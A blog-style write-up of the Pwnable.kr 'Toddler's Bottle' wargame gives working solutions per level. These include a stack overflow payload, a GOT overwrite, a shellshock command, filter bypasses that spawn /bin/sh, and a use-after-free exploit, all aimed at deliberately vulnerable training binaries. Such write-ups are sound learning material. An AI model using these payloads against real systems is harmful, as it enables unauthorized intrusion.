Pwnable.kr – Toddler’s Bottle Write-Up

What follows is a write-up of a system exploitation war game, Pwnable.kr’s Toddler’s Bottle.

The war game has players try to compromise different servers, websites, devices, and applications.  The players get a flag if they succeed in compromising the system.

pwnable

[*] Status: COMPLETED

Level 0: fd

Goal:
Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://www.youtube.com/watch?v=blAxTfcW9VU

ssh fd@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the resources:

ls

Reading the source code:
cat fd.c

screenshot

Notice that the file descriptor (fd) is the result of our argument minus 0x1234.
If we pass the decimal value of 0x1234, then the fd is set to 0.
A fd of 0 represents standard input.

This all means that if we set fd to 0, we can then pass “LETMEWIN” as the buffer, which gives us a shell.

Getting the decimal value of 0x1234:
python -c ‘print 0x1234’

screenshot 2

Getting a shell and the flag:
./fd 4660
LETMEWIN

screenshot 3

Flag: mommy! I think I know what a file descriptor is!!

Level 1: collision

Goal:
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the resources:
ls

Reading the source code:
cat col.c

screenshot

We have several hints on how to complete this challenge.
1) The attack is an MD5 hash collision
2) The hash is 0x21DD09EC
3) Our input has to be 20 bytes long

A hash collision occurs when two input strings of a hash function produce the same hash. This is possible because the hash is a fixed-size value, while the input variations are limitless. See source.

With all the hints provided we know what we have to do.
First, translate the hash to decimal.
Second, divide the decimal value by five, since the input has to be 20 bytes long.
Third, translate the appropriate numbers from decimal to hex.
Fourth, cause the collision.

Translating the hash from hex to decimal:
python -c ‘print 0x21DD09EC’

screenshot 2

Decimal: 568134124

Performing the calculations:
python

screenshot 3

First value: 454507296
Second value: 113626828

Translating the values to hex:

screenshot 4

First value: 0x1b173b20
Second value: 0x6c5cecc

Causing the hash collision:
./col $(python -c ‘print(“\xc8\xce\xc5\x06” * 4 + “\xcc\xce\xc5\x06”)’)

screenshot 5

Flag: daddy! I just managed to create a hash collision 🙂

Level 2: bof

Goal:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Solution:

Reading the source code:
cat bof.c

screenshot

Notice that “overflowme” has a 32-byte buffer. The key is to smash overflowme and put cafebabe in its place.

Inspecting bof in Binary Ninja:

screenshot 2

Notice the variable (ebp – 0x2c) and the argument (ebp + 0x8). The argument is what is compared against 0xcafebabe, which means it is what we have to overwrite.

Determining our buffer is simple.
(ebp + 0x8) – (ebp – 0x2c)

Determining the buffer size:
chmod u+x bof
gdb -q ./bof
br *func
r
x $ebp+0x8

screenshot 3

x $ebp – 0x2c

screenshot 4

python -c ‘print 0xffffd900 – 0xffffd8cc’

screenshot 5

We have everything we need. The payload will consist of:
52-byte buffer + 0xcafebabe

Smashing the stack:
(python -c ‘print “A” * 52 + “\xbe\xba\xfe\xca”‘; cat) | nc pwnable.kr 9000
cat flag

screenshot 6

 

Flag: daddy, I just pwned a buFFer 🙂

Note: Another simple way to solve this would have been to either dumb fuzz the binary or to send a unique string of a certain length to determine where the offset was.

Level 3: flag

Goal:
Papa brought me a packed present! let’s open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

Solution:
Checking what the binary is:
file flag

screenshot

strings flag

screenshot 2

The challenge description and the strings output reveal this is a UPX packed file.

Unpacking the file:
upx -d flag -o flag_unpacked

Inspecting the binary in Binary Ninja:

screenshot 3

Double-click on 0x496658

screenshot 4

We have the flag.

Flag: UPX…? sounds like a delivery service 🙂

Level 4: passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the directory contents:
ls -l

screenshot

Reading the source code:
cat passcode.c

screenshot 2screenshot 3

Notice the structure of the program. Main first calls welcome() and then login().
Welcome() takes in a name into a 100-byte buffer. Login() takes in the two passcodes consecutively.

From this we can see that we can reach passcode1 and passcode2 if we overflow name.

Downloading the binary:
scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./

Inspecting the binary in Binary Ninja:

screenshot 4

Notice in welcome() that ebp-0x70 or var_74 should be “name”.

screenshot 5

Notice that ebp-0x10 or var_14 should be “passcode1”.

Calculating the offset:
python -c ‘print 0x70 – 0x10’

screenshot 6

We are going to have a 96-byte buffer.

Since our goal is to call system, we are going to overwrite a function in the Global Offset Table (GOT).

screenshot 7

We will replace fflush (0x804a004) with our call to system (0x80485ea).

screenshot 8

This type of attack is referred to as GOT Overwrite.

All library functions used by a binary, such as printf and system, have an entry in the GOT with the address of where the function is located. Because the addresses are not hardcoded, the libraries are relocated within memory.

By overwriting a GOT entry, we can control the execution flow and jump to any executable address we want, such as system in this case.

For more information on the advantages of GOT overwrite read starting from page 24 of this paper; or read the whole paper!

Translating the call to system from hex to decimal:
python -c “print 0x080485e3”

screenshot 9

Overwriting fflush and calling system:
python -c “print (96 * ‘A’) + ‘\x04\xa0\x04\x08’ + ‘134514147’” | ./passcode

screenshot 10

Flag: Sorry mom.. I got confused about scanf usage 😦

Level 5: random

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the directory contents:
ls -l
screenshot

Reading the source code:
cat random.c

screenshot 2

Notice that rand() is not provided any arguments, hence the output will always be the same.
rand() reference

Our way in is to XOR the non-random value against 0xdeadbeef.

Running rand() to get the non-random value:
cp random.c /tmp/rand.c
vi /tmp/rand.c

Add the following line under “random”:

screenshot 3

cd /tmp
gcc rand.c
./a.out

screenshot 4

“Random” value: 1804289383

Getting the key:
python -c ‘print 1804289383 ^ 0xdeadbeef’

screenshot 5

Key: 3039230856

Getting the flag:
cd
./random

screenshot 6

Flag: Mommy, I thought libc random is unpredictable…

Level 6: input

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the directory contents:
ls -l

screenshot

Reading the source code:
cat input.c

screenshot 2screenshot 3screenshot 4

This looks like a very fun exercise. We have to execute a five-stage attack, using different input methods.
We will create our script in /tmp/destroyer_input/ and link the flag afterwards, before execution.

Crafting our exploit:
mkdir /tmp/destroyer_input
cd /tmp/destroyer_input
vi destroyer_input.c

screenshot 5screenshot 6screenshot 7screenshot 8screenshot 9

Creating a symbolic link to the flag:
ln -s /home/input2/flag flag

Compiling the program:
gcc destroyer_input.c -o destroyer

Grabbing the flag:
./destroyer

screenshot 10

Flag: Mommy! I learned how to pass various input in Linux 🙂

Level 7: leg

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the source code:
gedit leg.c

screenshot

Notice that the solution is the sum of key1, key2, and key3.
We will read the Assembly code in leg.asm in order to figure out what those values are.

From leg.c we can see that we will be dealing with ARM Assembly.

screenshot 2

We know this because pc (program counter) is an ARM-specific register.
For more information on ARM, read the following.

Register-relative and PC-relative expressions
Processor core registry summary

In ARM, the value of PC is the addr of the current instruction + 8 bytes.
When in Thumb Mode, the value of PC is the addr of the current instruction + 4 bytes.
The program enters Thumb Mode (or ARM Mode) via the bx (branch exchange) instruction.

Checking the disassembly:
gedit leg.asm

screenshot 3

screenshot 4

key1 / r0 = 0x8cdc + 8

screenshot 5

Notice that the program entered Thumb mode.

key2 / r0 = 0xad04 + 4 + 4

screenshot 6

Key3 returns LR which is the link register, which stores the return address.

From the documentation:
The LR receives the return address from PC when a Branch and Link (BL) or Branch and Link with Exchange (BLX) instruction is executed.

This translates to:
key3 / r0 = 0x8d80

We now have all the key information needed.

Generating the key:
python -c “print (0x8cdc + 8) + (0x8d04 + 4 + 4) + 0x8d80”

screenshot 7

Key: 108400

Getting the flag:
./leg

screenshot 8

Flag: My daddy has a lot of ARMv5te muscle!

Level 8: mistake

We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

Solution:

 

Checking the directory contents:
ls -l

screenshot

Reading the source code:
cat mistake.c

screenshot 2screenshot 3screenshot 4

The key here is the XOR. The buffer length is 10 and the characters are XOR’ed against 1.
Hence, we first have to enter 10 zeroes, and then 10 ones in order to pass the challenge.

Bypassing the system:
./mistake
0000000000
1111111111

screenshot 5

Flag: Mommy, the operator priority always confuses me 😦

Level 9: shellshock

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 🙂

ssh shellshock@pwnable.kr -p2222 (pw:guest)

Solution:

Checking the directory contents:
ls -l

 

screenshot

The name of the challenge and its descriptions lead us to believe it has to do with the shellshock bug.

Shellshock syntax:
env val='() { :;}; <command we want to execute>’ <command that is allowed>

In our case, we will have the shellshock program, which has root privileges, carry and execute our malicious command.

Shellshocking the system:
env val='() { :;}; /home/shellshock/bash -c “cat /home/shellshock/flag”‘ ./shellshock

screenshot 2

Flag: only if I knew CVE-2014-6271 ten years ago..!!

Level 10: coin 1

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

Solution:

”’
Upon connecting to the server, we get the following information:

—————————————————
– Shall we play a game? –
—————————————————

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward 🙂
FYI, you have 30 seconds.

– How to play –
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

– Example –
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

”’

vi counterfeit_coins.py

#!/usr/bin/python

import socket
import sys
import re

# Establish socket connection
def connect(host, port):
s = None
for res in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error, msg:
s = None
continue
try:
s.connect(sa)
except socket.error, msg:
s.close()
s = None
continue
break
return s

# If the weight is incorrect, then the counterfeit coin is in the current half
# Otherwise, it is in the other half
def weight(current_index, coin_weight, other_index):
if coin_weight != (current_index[1] – current_index[0]) * 10:
return current_index
else:
return (current_index[1], other_index[1])
# Format the index range to string
def getNumbers(i_range):
string_list = []
for i in range(i_range[0], i_range[1]):
string_list.append(str(i))
return ‘ ‘.join(string_list)
def main():
# Uploaded script to server and ran local for more speed
host = ‘localhost’
#host = ‘pwnable.kr’

# Port used by server
port = 9007
s = connect(host, port)
if s is None:
print “[!] Unable to open socket”
sys.exit(1)

# The range to be weighed
index = None
# The range that contains the counterfeit coin
second_range = None

while True:
data = s.recv(1024)
print str(data)

pattern1 = re.compile(“””^N=([0-9]*) C=([0-9]*)$”””)
match1 = pattern1.match(str(data))

pattern2 = re.compile(“””^([0-9]*)$”””)
match2 = pattern2.match(str(data))

# First round
if match1:
first_range = (0, int(match1.group(1)) / 2)
second_range = (0, int(match1.group(1)))
print str(getNumbers(first_range))
s.send(getNumbers(first_range) + “\r\n”)

# Second round
elif match2 and len(match2.group(1)) > 0:
second_range = weight(index, int(match2.group(1)), second_range)
# Get the ceiling value when divided by 2
index = (second_range[0], (second_range[0] + second_range[1]) / 2 + (second_range[0] + second_range[1]) % 2)
print str(getNumbers(index))
s.send(getNumbers(index) + “\r\n”)

elif “format error” in str(data) or “time expired! bye!” in str(data):
break

s.close()

main()
”’
Since the network response time was too slow, we are going to run the script within the server’s /tmp folder
”’

ssh shellshock@pwnable.kr -p2222
vi /tmp/counterfeit_coins.py
<Paste the code>
python /tmp/counterfeit_coins.py

# Note: You may get a “format error” error at times. Just run the script again.

Flag: b1NaRy_S34rch1nG_1s_3asy_p3asy

Level 11: blackjack

Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?

Running at : nc pwnable.kr 9009

Solution:

”’
Notice in the code:

if (bet > cash) //If player tries to bet more money than player has
{
printf(“\nYou cannot bet more money than you have.”);
printf(“\nEnter Bet: “);
scanf(“%d”, &bet);
return bet;
}

While the first check succeeds, there is no check for the second bet.
So this means that we can enter any amount we want the second time.

”’

Are You Ready? : Y
Choice: 1
Enter Bet: $1000000000
Enter Bet: 1000000000
H

# Repeat the process until we win

Flag: YaY_I_AM_A_MILLIONARE_LOL

Level 12: lotto

Mommy! I made a lotto program for my homework.
do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

Solution:

ls -l
cat lotto.c

”’
Notice in the source code:

// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

// win!
if(match == 6){
system(“/bin/cat flag”);
}
The program compares each input character six times
To win, we need to have six matches
So, we can just enter any equal six characters and eventually win

”’

./lotto
Choice: 1
Keep entering: $$$$$$

# I won on my fourth attempt.

Flag: sorry mom… I FORGOT to check duplicate numbers… 😦

Level 13: cmd1

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

Solution:

ls -l
cat cmd1.c

”’
Notice in the source code:

int filter(char* cmd){
int r=0;
r += strstr(cmd, “flag”)!=0;
r += strstr(cmd, “sh”)!=0;
r += strstr(cmd, “tmp”)!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv(“PATH=/fuckyouverymuch”);
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
This means we can’t use “flag”, “sh”, or “tmp”.
The solution is simple: Use a wildcard.

”’

./cmd1 “/bin/cat f*”

Flag: mommy now I get what PATH environment is for 🙂

Level 14: cmd2

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission…
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

Solution:

ls -l
cat cmd2.c

”’

Notice in the source code:

int filter(char* cmd){
int r=0;
r += strstr(cmd, “=”)!=0;
r += strstr(cmd, “PATH”)!=0;
r += strstr(cmd, “export”)!=0;
r += strstr(cmd, “/”)!=0;
r += strstr(cmd, “`”)!=0;
r += strstr(cmd, “flag”)!=0;
return r;
}
This means we can’t use “=”, “PATH”, “export”, “/”, “`”, nor “flag”.
A way around this is to use another character encoding standard, such as octal.

If you don’t have a script to do this, you can use the following website:
http://www.unit-conversion.info/texttools/octal/

Ascii: /bin/sh
Octal: 057 142 151 156 057 163 150

”’

./cmd2 “\$(echo -n ‘\\057\\142\\151\\156\\057\\163\\150’)”
/bin/cat flag

Flag: FuN_w1th_5h3ll_v4riabl3s_haha

Level 15: uaf

Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

Solution:

ls -l
cat uap.cpp

”’
Notice the following in the source code:

Note in case 2 (after):
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << “your data is allocated” << endl;

Which translates to “len” bytes being allocated on the heap and the ptr being in data.
argv1 = len and argv2 = file with the pointer to be read

We will download the binary to explore further.

”’

scp -P 2222 uaf@pwnable.kr:/home/uaf/uaf ./

# We are going to open UAF in Binary Ninja as well as GDB

Drag uaf to Binary Ninja
Ctrl + F -> Man

”’
Notice under the vtable_for_Man, there is xref to 0x401288, where:
mov qword [rax], data_401570

”’

gdb ./uaf
br *main

# We are going to look at 20 addresses starting from 0x401570

x/20a 0x401570

”’
Take note of the output:

0x401570 <_ZTV3Man+16>: 0x40117a <_ZN5Human10give_shellEv> 0x4012d2 <_ZN3Man9introduceEv>

Knowing this, we can now take “give_shell” and feed it to “introduce”.

Calculation: 401570 – 8 = 401568

We can now use this address to take over the machine.
Remember the program takes two parameters, length and file.

”’

python -c “print ‘\x68\x15\x40\x00\x00\x00\x00\x00′” > /tmp/cookies
./uaf 24 /tmp/cookies
3 # free ; delete 48 bytes (man and woman)
2 # after ; add 24 bytes
2 # after ; add 24 bytes
1 # use ; run introduce() (give_shell is now here)
cat flag

Flag: yay_f1ag_aft3r_pwning

Level 16: codemap

I have a binary that has a lot information inside heap.
How fast can you reverse-engineer this?
(hint: see the information inside EAX,EBX when 0x403E65 is executed)

download: http://pwnable.kr/bin/codemap.exe

ssh codemap@pwnable.kr -p2222 (pw:guest)

Solution:
”’
This challenge was geared towards using the Codemap plug-in for IDA.
I don’t have IDA, so this is where I’ll stop.
”’

 

— Toddler’s Bottle Finished — 

Notes on the war game: Very fun and educational challenges.My favorite was the “leg” challenge, as it introduced players to ARM architecture.

 

 

One thought on “Pwnable.kr – Toddler’s Bottle Write-Up”

Leave a comment